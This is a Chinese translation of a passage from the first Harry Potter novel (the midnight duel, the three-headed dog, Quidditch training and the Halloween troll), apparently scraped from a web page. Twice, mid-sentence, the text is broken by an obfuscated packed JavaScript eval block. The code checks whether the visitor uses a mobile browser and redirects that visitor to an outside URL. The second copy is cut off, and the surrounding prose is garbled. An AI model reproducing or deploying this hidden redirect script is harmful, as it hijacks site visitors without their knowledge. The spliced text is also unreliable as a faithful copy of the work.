“绝对当真。”麦格教授干脆地说,“这孩子是个天才。我从来没见过这样的事情。波特,你是第一次骑飞天扫帚吗?”哈利默默地点点头,一点儿也不明白是怎么回事,但看来他不会被开除了,他的双腿又开始慢慢恢复了知觉。“他俯冲五十英尺,伸手抓住了那东西,”麦格教授对伍德说,“一点儿皮肉划伤都没有。查理·韦斯莱也做不到这点。” 伍德现在的表情,就好像他所有的梦想,一下子全变成了现实。 “看过魁地奇比赛吗,波特?”麦格教授问。 “他的体型正适合当一个找球手,”伍德说,在哈利周围绕着圈子打量着他,“轻盈——敏捷——我们必须给他弄一把像样的扫帚,教授——我看,就来一把光轮2000或横扫七星吧。” “我要去跟邓布利多教授谈谈,看我们能不能破格使用一年级新生。确实,我们需要一支比去年更棒的魁地奇队。上次比赛被斯莱特林队打得惨败,我几个星期不敢和斯内普照面...” 麦格教授从眼镜上方严厉地瞅着哈利。 “我希望听到你在刻苦训练,波特,不然我就改变主意,要惩罚你了。” 接着,她又突然绽开笑容。 “你父亲会为你骄傲的,”她说,“他以前就是一个出色的魁地奇球员。” “你在开玩笑。” 这是吃晚饭的时间,哈利对罗恩讲了他和麦格教授离开场地后发生的事情。罗恩正要把一块牛排腰子馅饼往嘴里送,送到一半就忘记了。“找球手?”他说,“可是一年级学生从不——你一定是许多年以来年龄最小的院队选手了。” “是一个世纪以来。”哈利说着,用手抓起馅饼塞进嘴里。经过下午这场惊心动魄的遭遇,他觉得特别饿。“伍德告诉我的。” 罗恩太诧异,太震惊了。他只是坐在那里,呆呆地望着哈利。 “我下星期开始训练。”哈利说,“千万别跟任何人说,伍德想保密呢。” 这时,弗雷德和乔治·韦斯莱走进饭厅。他们一眼看见哈利,便快步走了过来。 “好样儿的,”乔治低声说,“伍德告诉我们了。我们也是学院队的——是击球手。” “告诉你们,我们今年肯定要拿下魁地奇杯。”弗雷德说,“自从查理走后,我们就没有赢过,不过今年,我们球队一定会大展辉煌的。你肯定很棒,哈利,伍德跟我们说这件事时,激动得简直语无伦次。” “不过,我们得走了,李·乔丹认为他发现了一条新的秘密通道,可以通到学校外面。” “我猜就是马屁精格雷戈里雕像后面的那条通道吧,我们进校的第一个星期就发现了。再见。” 弗雷德和乔治刚刚离去,某个很不受欢迎的人就露面了:马尔福。 “在吃最后的一顿饭吗,波特?你什么时候乘火车返回麻瓜那里?” “现在你回到地面上,又有你的小不点儿朋友陪伴左右,你的胆子就大多了。”哈利冷冷地说。当然啦,克拉布和高尔根本不能算小不点儿,但由于主宾席上坐满了老师,他们俩不敢造次,只好阴沉着脸,把手指捏得吧吧响。 “我随时愿意单独与你较量,”马尔福说,“如果你没意见,就在今晚。巫师之间的决斗。只用魔杖——不许接触。怎么啦?我猜,你还没听说过巫师决斗吧?” “他当然听说过。”罗恩说着,突然转过身来。“我是他的助手,你的助手是谁?” 马尔福看着克拉布和高尔,把他俩挨个儿掂量一番。 “克拉布。”他说,“就在午夜,怎么样?我们在奖品陈列室和你们见面,那里从来不锁门。” 马尔福走后,罗恩和哈利面面相觑。 “巫师决斗是怎么回事?”哈利问,“你说做我的助手,这又是什么意思?”“噢,如果你死了,助手就接着上。”罗恩轻描淡写地说,终于又开始吃他那已经冷掉的馅饼。他捕捉到了哈利脸上的神情,便又急忙补充道,“不过你知道,人们只有跟真正的巫师进行正规的决斗时才会死。你和马尔福充其量只能向对方发射发射火花。你们俩懂的魔法太少,不会真正伤着对方的。不过,我敢说他还以为你会拒绝呢。” “如果我挥动魔杖,一点儿反应也没有,怎么办呢?” “那就扔掉魔杖,对准他鼻子揍一拳。”罗恩建议道。 “对不起,打扰一下。” 他们俩抬头一看,原来是赫敏·格兰杰。 “能不能让人在这里消消停停地吃饭?”罗恩说。 赫敏没有理他,却对哈利说:“我忍不住偷听了你和马尔福说的——” “我就知道你会这样。”罗恩咕哝道。 “——夜里你绝对不能在学校乱逛,想想吧,如果你被抓住,会给格兰芬多丢掉多少分啊,而且你肯定会被抓住的。你真的太自私了。” “这事真的与你无关。”哈利说。 “再见。”罗恩说。 以决斗来结束一天,这无论如何也不能算是美妙圆满的,哈利躺在床上想道,他早就听见迪安和西莫进入了梦乡(纳威还没有从医院里回来)。罗恩一晚上都在给他出谋划策,例如:“如果他想给你念咒语,你最好躲开,因为我不记得怎样挡住咒语。”他们很可能会被费尔奇或洛丽丝夫人抓住,哈利觉得自己是在与命运作对,今天又要违反一条校规了。另一方面,马尔福讥讽的脸不断在黑暗里显现——这是哈利面对面打败马尔福的一个大好机会,他不能放过。 “十一点半了,”终于,罗恩低声说道,“我们得走了。” 他们穿上长袍,拿起魔杖,蹑手蹑脚地穿过城堡上的房间,走下旋转楼梯,进入格兰芬多的公共休息室。壁炉里还有一些余火在闪烁着微光,扶手椅仿佛都变成了一团团黑乎乎的影子。他们刚要走到肖像通道,就听见离他们最近的一张椅子上有人说话:“我不敢相信你竟然这么做,哈利。” 一盏灯噗的一闪,亮了,是赫敏·格兰杰。她穿着粉红色的睡袍,皱着眉头。 “你!”罗恩恼怒地说,“回去睡觉!” “我差点儿就告诉你哥哥了,”赫敏不客气地回敬,“珀西——他是级长,他会阻止这一切的。”哈利无法相信居然有这样好管闲事的人。 “走吧。”他对罗恩说。他推开胖夫人的肖像,从洞口爬了进去。赫敏可不会这么轻易让步。她跟着罗恩爬进洞口,像一只发怒的母鹅压低声音朝他们嚷嚷。“你难道不关心格兰芬多,只关心你自己吗?我不想让斯莱特林再赢得学院杯赛冠军,不想让你把我用转移咒语从麦格教授那里弄来的分数全部丢光。”“走开。” “好吧,不过我警告你,等你明天坐火车回家时,你别忘了我说的话,你真是太——” 至于太怎么样,他们就不知道了。赫敏转向胖夫人的肖像,想重新钻回去,却发现自己面对的画上已空空如也。胖夫人深夜出去串门儿了,赫敏被关在了格兰芬多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15338693|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城堡外面。 “哎呀,现在我怎么办呢?”她扯着嗓子问。 “那是你的问题。”罗恩说,“我们得走了,快要迟到了。” 还没等他们走到走廊尽头,赫敏就赶上来了。 “我和你们一起去。”她说。 “你不许去。” “你们难道以为我会站在这外面,等费尔奇来把我抓住吗?如果他发现了我们三个人,我就把实情告诉他,就说我在试图劝阻你们,到时侯,你们可以为我的话作证。” “你胆子倒不小——”罗恩大声说。“闭嘴,你们两个!”哈利严厉地说,“我听见有声音。” 是一种呼哧呼哧的声音。 “是洛丽丝夫人吗?”罗恩屏住呼吸问道,眯起眼睛看着暗处。 不是洛丽丝夫人,是纳威。他蜷缩在地板上,睡得正香,但他们一走近,他就猛地惊醒了。“谢天谢地,你们找到了我!我在这外面待了好几个小时。我记不得那道新口令了,没法上床睡觉。” “小声点儿,纳威。口令是‘猪鼻子’,可现在对你也没有用了。胖夫人不知到什么地方去了。” “你的胳膊怎么样了!”哈利问道。 “没事儿,”纳威说着,举起胳膊给他们看。“庞弗雷夫人一眨眼就把它治好了。” “不错——好了,纳威,你听着,我们要去一个地方,待会儿见——” “别撇下我!”纳威说着,从地上爬了起来,“我不想一个人待在这里,血人巴罗的鬼魂已经从这里经过两次了。” 罗恩看了看表,又愤怒地瞪着赫敏和纳威。 “如果你们两个有谁害得我们被抓住了,我就一定要学会奇洛提到的那种妖怪咒,用在你们身上。” 赫敏张了张嘴,大概是想告诉罗恩到底怎样使用妖怪咒,可是哈利朝她“嘘”了一声,叫她安静,然后招呼大家快走。 他们沿着走廊轻快地走着,月光从高高的窗口洒进来,一道道地横在地上。 每一次拐弯,哈利都以为要撞上费尔奇或洛丽丝夫人了,还好,他们的运气不错。他们匆匆登上楼梯,来到三楼,蹑手蹑脚地朝奖品陈列室走去。马尔福和克拉布不在。陈列奖品的水晶玻璃柜在月光下熠熠闪亮。黑暗中,奖杯、盾牌、奖牌和雕像闪着银色和金色的光。四个人贴着墙向前移动,眼睛紧盯着房间两头的门,哈利拿出他的魔杖,以防马尔福突然冲进来,和他决斗。时间一分一秒过去。 “他迟到了,也许他因为害怕,不敢来了。”罗恩悄声说。这时,隔壁房间里传来一个声音,吓得他们跳了起来。哈利刚举起魔杖,就听见有人说话了——不是马尔福。“到处闻闻,我亲爱的,他们可能躲在哪个角落里。” 是费尔奇在对洛丽丝夫人说话。哈利吓坏了,疯狂地朝另外三个人挥着魔杖,叫他们尽快地跟着他;他们悄没声儿地走向那扇远离费尔奇声音的门。纳威的长袍刚刚掠过拐角,他们就听见费尔奇走进了奖品陈列室。 “他们就在这里的什么地方,”他们听见他低声嘟哝,“大概躲起来了。” “这边走!”哈利不出声地对大家说。他们都吓傻了,悄悄儿地沿着一道摆满盔甲的走廊往前走,可以听见费尔奇离他们越来越近了。突然,纳威忍不住发出一声恐怖的尖叫,撒腿就跑——他被绊了一下,赶紧一把搂住罗恩的腰,两人一起跌倒在一套盔甲上。 顿时,咣啷啷,哗啦啦,那声音足以吵醒整个城堡。 “快跑!”哈利大喊一声,四个人顺着走廊全速跑去,不敢回头看费尔奇是不是跟上来了——他们绕过门柱,跑过一道又一道走廊。哈利跑在最前面,他不知道他们在哪里,也不知道在往哪里跑。最后他们在上魔术课的教室附近出来了,他们知道,这里离奖品陈列室有好几英里呢。 “我想,我们已经把他甩掉了。”哈利喘着粗气说。他靠在冰冷的墙上,擦着额头上的汗。纳威弯着身子,气急败坏,呼哧呼哧地喘着。 “我——告诉过——你们,”赫敏气喘吁吁地说,用手抓住胸前的衣缝,“我——告诉过——你们。” “我们必须返回格兰芬多城堡,”罗恩说,“越快越好。” “马尔福骗了你,”赫敏对哈利说,“你明白了吧?他根本不打算上那儿和你会面——费尔奇知道有人要去奖品陈列室,一定是马尔福向他透露了消息。”哈利认为赫敏可能是对的,但他不想对她这么说。 “我们走吧。”然而事情不那么简单。他们刚走了十来步,就听见一扇门的球形把手嘎啦啦一响,什么东西从他们面前的一间教室里蹿了出来。是皮皮鬼。他一看见他们,就开心地尖声怪叫。 “闭嘴,皮皮鬼——求求你——你会害得我们被开除的。” 皮皮鬼咯咯地笑着。 “讨厌的新生,半夜三更到处乱逛。啧,啧,啧,淘气,淘气,你们会被抓起来的。” “不会的,只要你不出卖我们,皮皮鬼,求求你。” “应该告诉费尔奇,应该。”皮皮鬼一本正经地说,但他眼睛里却闪烁着调皮的光芒。“这是为你们好,知道吗?” “滚开。”罗恩凶狠地说,使劲打了皮皮鬼一下——这就酿成了大错。 “学生不睡觉!”皮皮鬼吼了起来,“学生不睡觉,在魔咒课的走廊里!” 他们一低头闪过皮皮鬼,没命地逃着,一直逃到走廊尽头,重重地撞在一扇门上——门是锁着的。 “完了!”罗恩呜咽着说。他们绝望地推着那扇门。“我们完蛋了!死到临头了!” 他们听见了脚步声,费尔奇正在循着皮皮鬼声音尽快赶来。 “哦,快过来。”赫敏粗暴地说。她夺过哈利的魔杖,敲了敲门锁,低声说道:“阿拉霍洞开!”锁咔哒一响,门突然开了——他们一拥而入,赶紧把门关上,将耳朵贴在上面,听着。 “他们往哪边跑了,皮皮鬼?”只听费尔奇说,“快点儿,告诉我。” “说‘请’。” “别跟我捣乱,皮皮鬼,快说,他们去哪儿了?”“如果你不说‘请’,我就不会对你说什么话。”皮皮鬼用他那恼人的连哼带唱的声调说。 “好吧——请你告诉我。” “什么话!哈哈!我告诉过你,如果你不说‘请’,我就不会对你说‘什么话’!哈哈!哈哈哈哈!”他们听见皮皮鬼飞快地离去,费尔奇恼羞成怒地咒骂着。 “他以为这扇门是锁着的,”哈利低声说,“我想我们不会有事了——走开,纳威!”纳威一直在拉扯哈利长袍的袖子。 “怎么啦?” 哈利一转身——看见了,清清楚楚地看见了。一时间,他相信自己一定是走进了一场噩梦——在已经发生了这么多事情之后,这简直太过分了。 他们并不是像他以为的那样在一个房间里。他们是在一条走廊里。是四楼的那条禁止入内的走廊。现在他们知道这里为什么禁止入内了。 他们正面对着一条怪物般的大狗的眼睛,这条狗大得填满了从天花板到地板的所有空间。它有三个脑袋,三双滴溜溜转动的凶恶的眼睛,三个鼻子——正朝他们的方向抽搐、颤抖,还有三个流着口水的嘴巴,口水像黏糊糊的绳子,从泛黄的狗牙上挂落下来。 它一动不动地站在那里,六只眼睛都盯着他们。哈利知道,他们之所以还没有死,唯一的原因就是他们的突然出现使它大吃了一惊。但它正在迅速回过神来,那一声声震耳欲聋的咆哮意味着什么,是再清楚不过的了。 哈利摸索着去拧门把手——在费尔奇和死亡之间,他宁愿选择费尔奇。 他们一步步后退——哈利砰地把门关上。他们回到走廊里,撒腿就跑,简直是在飞奔。费尔奇一定忙着到别处去寻找他们了,他们没有看见他的踪影,何况也根本顾不上了——他们只想着尽可能远地逃离那个怪物。他们一直跑到八楼胖夫人的肖像前才停住脚步。 “你们都上哪儿去了?”胖夫人问道,看着他们粘在肩膀上的长袍,以及他们大汗淋漓的通红脸庞。 “别问啦——‘猪鼻子,猪鼻子’。”哈利喘着气说,肖像向前旋转着开了。他们跌跌撞撞地爬进公共休息室,浑身发抖地瘫倒在扶手椅里。 有好一会儿,谁都没有说话。纳威呢,他看上去似乎永远也不会说话了。 “他们到底想干什么?把那么一个玩意儿关在学校里!”最后,罗恩说道,“如果有哪只狗需要训练,就是那只了。” 赫敏的气喘匀了,但她的坏脾气也回来了。 “你们,你们几个,长着眼睛是干什么用的?”她气冲冲地说,“你们没看见它站在什么上面吗?” “地板上?”哈利猜测。“我没有看它的脚,我光顾着看它的脑袋了。” “不,不是地板上。它站在一个活板门上。它显然是在看守什么东西。” 她站起身,愤怒地瞪着他们。 “我希望你们为自己感到得意。我们都差点被咬死——或者更糟,被学校开除。好了,如果你们不反对的话,我要去睡觉了。” 罗恩盯着她的背影,吃惊地张大嘴巴。 “去睡吧,我们不反对。”他说。“这叫什么事儿?就好像我们把她硬拉去似的。” 可是,赫敏的话使哈利回到床上后又陷入了沉思。那只狗在看守着什么...海格是怎么说的?如果你想藏什么东西,古灵阁是世界上最安全的地方—— 大概除了霍格沃茨吧。 看来,哈利似乎已经弄清了713号地下金库里,那只肮脏的小包裹的下落。 11. 万圣节前夜 第二天,马尔福简直不敢相信自己的眼睛,他看见哈利和罗恩居然还在霍格沃茨,虽然显得有些疲倦,但非常开心。确实,哈利和罗恩第二天一早醒来,都觉得看见那条三个脑袋的大狗是一次十分精彩的奇遇,巴不得再经历一次。而且,哈利原原本本地对罗恩讲了那个似乎已从古灵阁转移到了霍格沃茨的小包裹,于是他们花了许多时间猜测,是什么东西需要这样严加看守。 “它要么特别宝贵,要么特别危险。”罗恩说。 “或者两项全占了。”哈利说。 但是,关于那个神秘物件,他们惟一能够确定的,只是它的长度有两英寸。如果没有更多的线索,是不可能猜到它是什么东西的。 纳威和赫敏对于大狗和活板门下面藏着什么,似乎一点也不感兴趣。纳威只想着千万别再走近那只大狗。 赫敏现在不搭理哈利和罗恩了。她一向自以为是,喜欢发号施令,所以他们倒觉得这是一件意外的好事。他们现在最希望的就是对马尔福进行报复,令他们高兴的是,大约一个星期后,这样的机会就随着邮差一起到来了。 当猫头鹰们像往常一样拥进大餐厅时,每个人的注意力都被由六只长耳猫头鹰驮着的细长包裹吸引住了。哈利和别人一样渴望知道这个包裹里是什么。没想到,几只猫头鹰盘旋而下,正好落在他面前,把他的熏咸肉碰落到地板上。他惊讶极了。它们扑扇着翅膀刚刚飞走,又有一只猫头鹰携来一封信,扔在包裹上面。 哈利首先把信撕开——幸亏他这么做了——只见信上写着:不要打开桌上的包裹。 里面装着你新的飞天扫帚:光轮2000,我不想让大家知道你有了新扫帚,免得他们都想要。 奥利弗·伍德今晚七点在魁地奇球场等你,给你上第一堂训练课。 米·麦格教授 哈利把短信递给罗恩,掩饰不住内心的喜悦。“光轮2000!”罗恩羡慕地感叹遭,“我连碰都没有碰过。” 他们匆匆离开大厅,想赶在第一节课之前,找个没人的地方拆开包裹,拿出飞天扫帚。可是,就在穿过门厅时,他们发现上楼的路被克拉布和高尔挡住了。马尔福把包裹从哈利手里夺过去,摸了摸。 “是一把飞天扫帚。”他说,一边把包裹扔还给哈利,脸上混杂着嫉妒和怨恨的表情。“你等着挨罚吧,波特,一年级学生是不许玩这个的。” 罗恩按捺不住了。 “这不是什么旧型飞天扫帚,”他说,“这是光轮2000。你说你在家里有一把什么来着,马尔福?彗星260?”罗恩对哈利咧着嘴大笑。“彗星是挺耀眼的,但它们和光轮根本不是一个档次。” “你怎么知道,韦斯莱,你连半个扫帚把都弄不到。”马尔福凶巴巴地回敬道。“我猜你和你那些兄弟不得不一根枝子一根枝子地攒吧。”罗恩还没来得及回答,弗立维教授在马尔福胳膊肘边出现了。“我希望不是在吵架吧,孩子们?”他尖着嗓子问。 “有人给波特捎来一把飞天扫帚,教授。”马尔福忙不迭地说。 “是啊,是啊,是这样的。”弗立维教授说着,朝哈利绽开笑容。“麦格教授把情况的特殊性都跟我说了,波特。是什么型号的?” “光轮2000,先生。”哈利说。看到马尔福脸上惊恐的表情,他拼命克制着不笑出来。“我能得到它,还多亏了这位马尔福呢。”他补充道。 哈利和罗恩往楼上走去。他们看到马尔福那副明显愤怒和迷惑的样子,不得不使劲把笑忍住。 “真的,我说的是实话,”当他们来到大理石楼梯顶上时,哈利咯咯地笑着说,“如果不是他偷了纳威的玻璃球,我就进不了球队...” “所以你认为这是对你违反校规的奖励?”他们俩身后传来一个愤怒的声音。赫敏噔噔地走上楼来,不满地看着哈利手里的包裹。 “我还以为你不跟我们说话了呢。”哈利说。 “是啊,现在也别说,”罗恩说,“这让我们很舒服。” 赫敏大踏步地走开了,鼻子扬得高高的。 那天,哈利很难定下心来认真听课。他的思绪不住地飞向宿舍,他的新飞天扫帚就躺在他的床底下。他还不时地想到他今晚就要去训练的魁地奇球场。晚饭时他三口两口咽下食物,根本没有注意吃的是什么,然后和罗恩一起迅速奔上楼梯,终于可以打开光轮2000了。 “哇!”当飞天扫帚滚落在哈利的床单上时,罗恩惊叹道。 就连对飞天扫帚的种类一无所知的哈利,也认为这把飞天扫帚简直太捧了。线条优美,富有光泽,柄是红木的,长长的尾巴用整齐、笔直的枝子扎成,“光轮2000”几个字金灿灿地印在扫帚把顶端。 七点钟越来越近了,哈利离开城堡,朝暮色中的魁地奇球场走去。几百张掎子高高地排放在周围的看台上,使观众都能看见球场上的情况。球场两端各有三根金制的杆子,顶上带着圆环。它们使哈利想起麻瓜的小孩子们吹肥皂泡用的小塑料棍,只是它们每根都有五十英尺高。 哈利太想再飞上天去了,他等不及伍德,便骑上他的飞天扫帚,双脚一蹬地面。多么美妙的滋味――他快速地在球门柱间穿梭,又在球场上空忽上忽下地飞翔。他只需轻轻一碰,光轮2000就转向他需要的方向。 “喂,波特,下来!” 是奥利弗·伍德来了。他胳膊底下夹着一只很大的木板箱。哈利降落在他旁边。 “非常精彩。”伍德说,眼睛闪闪发亮。“我明白麦格教授的意思了...你确实是个天才。我今晚把规则教给你,然后你就可以参加队里每周三次的训练了。” 他打开木板箱,里面是四个大小不等的球。 “好,”伍德说,“是这样,魁地奇球的规则很容易理解,尽管玩起来并不容易。每边七个人,其中三个被称为追球手。” “三个追球手。”哈利重复道,这时伍德拿出一只足球那么大的鲜红的球。 “这个球叫鬼飞球。”伍德说,“追球手互相传递鬼飞球,争取让它通过一个圆环,这样便可以得分。鬼飞球每次通过一个圆环,就可以得十分。明白了吗?” “追球手把鬼飞球投出去,让它穿过圆环,便能得分了。”哈利复述道。“这么说——这是一种用飞天扫帚和六个圆环玩的篮球,是吗?” “篮球是什么?”伍德好奇地问。 “没什么。”哈利赶紧说。 “好吧,每边还有另一个队员,叫守门员——我就是格兰芬多队的守门员。我必须在我们的圆环周围飞来飞去,不让对方得分。” “三个追球手,一个守门员。”哈利说,决心把这些都记在心里。“他们打的是鬼飞球。行,明白了。那么这些是做什么用的?”他指着留在箱子里的另外三个球问。 “我现在就演示给你看。”伍德说,“你拿着这个。” 他递给哈利一根小木棒,有点像跑柱式棒球的球棒。 “我来让你看看游走球是做什么用的。”伍德说,“这两个就是游走球。” 他拿给哈利看两只一模一样的球,它们黑得发亮,比刚才的红色鬼飞球略小一些。哈利注意到,它们似乎在拼命挣扎,想摆脱把它们束缚在箱子里的皮带。 “往后站。”伍德提醒哈利。他弯下腰,松开一只游走球。 顿时,那只黑球嗖地蹿上半空,然后径直朝哈利脸上打来。哈和眼看它要撞碎自己的鼻子,赶紧用短棒拦截,打得它重新左拐右拐地蹿向空中——它在他们头顶上呼呼盘旋,然后又突然朝伍德冲来。伍德猛地伸手罩住它,把它牢牢按在地面上。 “看到了吧?”伍德喘着气说,一边使劲把游走球塞进木板箱,用皮带结结实实地拴好。“游走球飞来蹿去,想把球手们从飞天扫帚上打落。所以,每一边还有两个击球手。韦斯莱孪生兄弟就是我们队的击球手——他们的工作是保护我方球员不被游走球打中,并把游走球击向对方球员。所以——你都听明白了吧?” “三个追球手争取用鬼飞球得分;守门员看守球门柱;击球手不让游走球撞伤自己的队员。”哈利一口气说道:“很好。”伍德说。 “嗯——游走球有没有打死过人?”哈利问道,希望他的口气显得很随便。 “在霍格沃茨从来没有。有一两个人被撞碎了下巴,仅此而已。好了,队里最后一名球员是找球手。那就是你。你不用去管鬼飞球和游走球——” “——除非它们把我的脑袋撞开了花。” “不用担心,韦斯莱兄弟对付游走球绰绰有余——说实在的,他们自己就像两只游走球。” 伍德又把手伸进木板箱。拿出第四只也是最后一只球。这只球与鬼飞球和游走球相比,显得很小,约摸只有一只大胡桃那么大。它金灿灿的,还有不断扇动着的银色小翅膀。 “这个,”伍德说,“就是金色飞贼,是所有球当中最重要的。你很难抓住它,它飞得像闪电一般快,根本看不清。找球手的工作就是要把它抓住。你必须在追球手、击球手、游走球和鬼飞球之间来回穿梭,赶在对方找球手之前把它抓住。如果哪个队的找球手抓住了金色飞贼,他的队就能额外赢得一百五十分,差不多就是稳操胜券了。只有当金色飞贼被抓住时,魁地奇比赛才算结束,所以有时候一场比赛会持续好多日子——我想最高记录大概是三个月吧,他们不得不找替补队员上场,把球手们换下来睡一会儿觉。 “行了,就是这样——还有问题吗?” 哈利摇了摇头。他明白自己需要做什么了,但究竟能不能做好还很成问题。 “我们先不拿飞贼来训练,”伍德说着,小心地把它放进箱子里关了起来。 “天太黑了,我们会把它弄丢的。我们就用几只这样的球让你训练吧。”他从口袋里掏出一袋普通的高尔夫球,几分钟后,他和哈利就到了空中。伍德使出吃奶的力气,把高尔夫球掷往各个方向,让哈利去接。哈利百发百中,一个球都没有漏过,伍德非常高兴。过了半小时,天完全黑透了,他们无法再训练了。 “今年的魁地奇杯上将刻上我们的名字。”当他们疲倦地走回城堡时,伍德兴高采烈地说,“如果你表现得比查理·韦斯莱还要出色,我一点儿也不会吃惊。他如果没有去研究龙,肯定会代表英国队参赛的。” 也许是因为现在太忙了——除了各门功课的家庭作业,还有每周三个晚上的魁地奇训练——所以,当哈利突然意识到自己在霍格沃茨已经整整待了两个月时,他简直感到难以置信。城堡一天比一天更像家了,而他在女贞路时,从来没有这样的感觉。当一些基础知识被掌握了之后,他的功课也变得越来越有趣了。 万圣节前夕,他们一早醒来,就闻到走廊里飘着一般香甜诱人的烤南瓜的气味。更妙的是,弗立维教授在魔法课上宣布。他认为他们可以开始使物体飞起来了。同学们自从看见弗立维教授把纳威的癞蛤蟆弄得在教室里到处乱飞之后,就一直眼巴巴地希望尝试一下这种技能。弗立维教授把全班同学分成两个人一组开始训练。 哈利的搭档是西莫·斐尼甘(谢天谢地,因为纳威一直想跟他交换)。而罗恩呢,要和赫敏格兰杰一起合作。关于这件事,很难说清罗恩和赫敏谁更加恼火一点儿。赫敏自从哈利的飞天扫帚送到的那天起,就一直不跟他们俩说话。 “好了,千万不要忘记我们一直在训练的那个微妙的手腕动作!”弗立维教授像往常一样站在他的那堆书上,尖声说道。“一挥一抖,记住,一挥一抖。念准咒语也非常重要——千万别忘了巴鲁费奥巫师,他把‘f’说成了‘s’,结果发现自己躺在地板上,胸口上站着一头野牛。” 做起来很不容易。哈利和西莫一挥一抖,一挥一抖,做了一遍又一遍,但应该被他们送上空中的羽毛还是一动不动地躺在地板上。西莫一气之下,用魔杖朝羽毛一捅,羽毛着火了——哈利不得不用他的帽子将火扑灭。 在另一个桌子上的罗恩,运气似乎也好不到哪里去。“羽加迪姆勒维奥萨!”他大声喊道,一边像风车一样挥动着两条长长的手臂。“你说错了,”哈利听见赫敏毫不客气地说,“是羽加——迪姆勒维——奥——萨,那个‘加’字要说得又长又清楚。”“既然你这么机灵,你倒来试试看,”罗恩咆哮着说。 赫敏卷起衣袖,挥动着魔杖,说道:“羽加迪姆勒维奥萨!”他们的那根羽毛从桌上升起来,飘悬在他们头顶上方四英尺的地方。“哦,做得好!”弗立维教授掐着手喊道,“大家快看,格兰杰小姐已经成功了!” 到了快下课的时候,罗恩的情绪坏到了极点。 “怪不得大家都受不了她,”他对哈利说,这时他们正在拥挤的走廊里费力穿行,“说实在的,她简直就像一个噩梦。” 有人撞了哈利一下,又匆匆从他们身边走了过去。是赫敏。哈利瞥见了她的脸——他惊讶地发现她在掉眼泪。 “我想她听见你的话了。” “那又怎么样?”罗恩说,但也显出了一丝不安。“她一定已经注意到了,她一个朋友也没有。” 下一节课赫敏没有露面,而且整个下午都不见人影。哈利和罗恩下楼走向餐厅,去参加万圣节前夕的宴会,无意间听见佩蒂尔对她的朋友拉文德说,赫敏在女厕所里伤心地哭泣,还不让别人安慰她。罗恩听了这话,显得更不自在了。然而片刻之后,当他们走进餐厅、看见五光十色的万圣节装饰品时,立刻就把赫敏忘到了脑后。 一千只蝙蝠在墙壁和天花板上扑棱棱地飞翔,另外还有一千只像一团团低矮的乌云,在餐桌上方盘旋飞舞,使南瓜里的蜡烛火苗一阵阵扑闪。美味佳肴突然出现在金色的盘子里,就跟在开学的那次宴会上一样。 哈利正在吃一个带皮的土豆,奇洛教授突然一头冲进了餐厅,他的大围巾歪戴在头上,脸上满是惊恐的神色。大家都盯着他,只见他走到邓布利多教授的椅子旁,一歪身倚在桌子上,喘着气说:“巨怪——在地下教室里——我以为你应该知道的。” 说完,他一头栽到在地板上,昏死了过去。 餐厅里顿时乱成一团。邓布利多教授不得不使他的魔杖头上发出几次刺耳的烟火爆炸声,大家才安静下来。 “级长,”他声音低沉地说,“立刻把你们学院的学生领到宿舍去!” 珀西自然是驾轻就熟。 “跟我来!不要走散,一年级学生!只要你们听我的吩咐,就不用害怕什么巨怪!好了,紧紧跟在我后面。闪开,一年级学生要通过了!请原谅,我是级长!” “巨怪怎么能钻进来呢?”他们上楼梯时,哈利问道。 “不要问我,巨怪们应该都傻得出奇,”罗恩说,“也许是皮皮鬼把它放进来的,为了给万圣节前夜增加点儿乐子。” 路上,他们遇到了一些匆匆赶往不同方向的人群。当他们费力挤过一堆神情困惑的赫奇帕奇学院的学生时,哈利猛地抓住罗恩的手臂。 “我刚想起来——赫敏。” “她怎么啦?” “她还不知道巨怪的事。” 罗恩咬着嘴唇。 “噢,好吧,”他果断地说,“但最好别让珀西看见我们。” 他们埋下身子,混在赫奇帕奇的人群里,朝另一个方向走去。他们悄悄溜过空荡荡的侧面走廊,急匆匆地赶往女厕所。刚转过拐角,就听见身后传来了急促的脚步声。 “珀西!”罗恩压低声音说,拉着哈利躲到一个很大的狮身鹰首兽石雕后面。 他们从石雕后面望过去,却发现不是珀西,而是斯内普。他穿过走廊,从他们的视线中消失了。 “他在做什么?”哈利低声问道,“他为什么不和其他老师一起,待在下面的地下教室里?” “我怎么知道!” 他们跟着斯内普渐渐远去的脚步声,悄悄顺着另一道走廊向前走,尽量不发出声音。 “他在朝三楼走呢。”哈利说,但是罗恩举起了手。 “你能闻到什么吗?” 哈利吸了吸鼻子,一股恶臭钻进他的鼻孔,那是一种臭袜子和从来无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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巨怪在离赫敏几步远的地方停住了。它笨拙她转过身来,愚蠢地眨巴着眼睛,想看清声音是什么东西发出来的。它那丑陋的小眼睛看见了哈利。它迟疑了一下,然后便朝哈利走来,一边举起手里的木棍。 “嘿,大笨蛋!”罗恩从房间另一边喊道,同时把一根金属管朝巨怪扔去。巨怪似乎根本没有注意到金属管打中了它的肩膀,但它听见了喊声,便又停住脚步,把丑陋的大鼻子转向了罗恩,哈利趁此机会绕到它的身后。 “过来,快跑,快跑!”哈利朝赫敏喊道,想把她拉向门口,但是她动弹不得,仍然紧紧地贴在墙上,嘴巴惊恐地张得老大。 喊声和回音似乎把巨怪逼得发狂了。它又咆哮了一声,开始向罗恩逼近。 罗恩离巨怪最近,而且没有退路。 这时,哈利做了一件非常勇敢但又十分愚蠢的事:他猛地向前一跳,用双臂从后面搂住了巨怪的脖子。巨怪是不会感觉到哈利吊在它身上的,但如果你把一根长长的木头戳进它的鼻子,巨怪就不可能毫无感觉了。哈利在跳起时手里拿着魔杖——它径直戳进了巨怪的一个鼻孔。 